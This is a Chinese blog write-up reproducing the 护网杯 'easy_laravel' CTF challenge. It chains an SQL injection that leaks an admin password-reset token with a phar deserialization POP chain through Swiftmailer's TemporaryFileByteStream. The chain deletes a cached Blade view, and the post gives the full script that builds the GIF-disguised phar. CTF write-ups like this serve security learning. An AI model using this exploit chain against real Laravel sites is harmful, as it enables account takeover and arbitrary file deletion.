护网杯esay_laravel复现

题目的源码很早之前便给出了,最近学习了一下laravel框架,把这个题复现一下,以下是题解。

代码审计

代码不完整,存在composer.josn文件,composer install 安装

使用larave自带的工具,查看路由,只有admin用户才可以查看flag.

image

代码审计,在note控制器下存在sql注入

1
2
3
4
5
6
public function index(Note $note)
{
$username = Auth::user()->name;
$notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'");
return view('note', compact('notes'));
}

查看一下注册功能,发现对密码进行了加密,通过注入也不能得到原密码。

1
2
3
4
5
6
7
8
protected function create(array $data)
{
return User::create([
'name' => $data['name'],
'email' => $data['email'],
'password' => bcrypt($data['password']),
]);
}

再次查看路由发现存在重置密码操作,路由中发现可以通过token重置密码。查看一下代码,发现使用了laravel自带的重置密码功能,随后查看laravel源码。

1
2
3
4
5
6
7
8
9
10
11
use ResetsPasswords;

/**
* Create a new controller instance.
*
* @return void
*/
public function __construct()
{
$this->middleware('guest');
}

laravel源码,需要email和token才可以重置密码,刚才通过查看源码看到在admin中间件中admin密码为`[email protected],接下来需要得到admintoken`。

admin中间件:

1
2
3
4
5
6
7
public function handle($request, Closure $next)
{
if ($this->auth->user()->email !== '[email protected]') {
return redirect(route('error'));
}
return $next($request);
}
1
2
3
4
5
6
public function showResetForm(Request $request, $token = null)
{
return view('auth.passwords.reset')->with(
['token' => $token, 'email' => $request->email]
);
}

接下来找到token的位置,查看laravel的数据库迁移文件,在database下的migrations目录下发现一张表,保存了token和email信息,表名为password_resets,联想到刚才发现的sql注入漏洞,通过注入得到token。

1
2
3
4
5
6
7
8
public function up()
{
Schema::create('password_resets', function (Blueprint $table) {
$table->string('email')->index();
$table->string('token')->index();
$table->timestamp('created_at')->nullable();
});
}

这里出现了一个小问题,发现没有token,原因管理员还未发token,先登录出去,用管理员的邮箱重置一下,顺利得到token

image

根据路由表访问带token的连接进行重置密码操作,得到管理员账户,查看flag,发现没有flag。。。

image

laravel视图缓存

根据题目的提示, 存在blade模板过期的问题。

laravel在渲染blade模板后,会将渲染好的结果存到storage/framework/views(默认路径,也可在配置中修改的)中,以便下次使用。因此原本的flag不会再页面显示出来,进入docker查看一下模板缓存文件,确实存在no flag

image

文件名是一堆长长的字母和数字,在/bootstrap/cache/compile.php下得知缓存文件的命名规则。

1
2
3
4
public function getCompiledPath($path)
{
return $this->cachePath . '/' . sha1($path) . '.php';
}

path为模板文件的路径,在源码中可得治路径为/resources/views/auth/flag.blade.php,题目提示使用了nginx,可得知绝对路径为/usr/share/nginx/html/resources/views/auth/flag.blade.php,计算一下和docker中一致。接下来需要删除过期的模板缓存。

popchain 与 phar 伪协议

再次查看题目给出的源码,在upload控制器下发现check和upload函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
public function check(Request $request)
{
$path = $request->input('path', $this->path);
$filename = $request->input('filename', null);
if($filename){
if(!file_exists($path . $filename)){
Flash::error('磁盘文件已删除,刷新文件列表');
}else{
Flash::success('文件有效');
}
}
return redirect(route('files'));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function upload(UploadRequest $request)
{
$file = $request->file('file');
if (($file && $file->isValid())) {
$allowed_extensions = ["bmp", "jpg", "jpeg", "png", "gif"];
$ext = $file->getClientOriginalExtension();
if(in_array($ext, $allowed_extensions)){
$file->move($this->path, $file->getClientOriginalName());
Flash::success('上传成功');
return redirect(route('upload'));
}
}
Flash::error('上传失败');
return redirect(route('upload'));
}

文件路径与文件名可控,可以使用phar进行反序列化,全局查找一下unlink或者__destroy函数,在/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php下发现存在删除功能的函数。

1
2
3
4
5
6
public function __destruct()
{
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}

生成文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include('autoload.php');
$a = serialize(new Swift_ByteStream_TemporaryFileByteStream());
var_dump(unserialize($a));
var_dump($a);
$a = preg_replace("/\/tmp\/FileByteStream[\w]{6}/","/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a);
$a = str_replace('s:25', 's:90', $a);
$b = unserialize($a);
$p = new Phar('./shell.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($b);
$p->addFromString('test.txt','text');
$p->stopBuffering();
rename('shell.phar', 'shell.gif')
?>

最后通过check方法触发反序列化操作,刷新模板得到flag。

Author: Sys71m
Link: https://www.sys71m.top/2019/02/20/护网杯esay-laravel复现/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.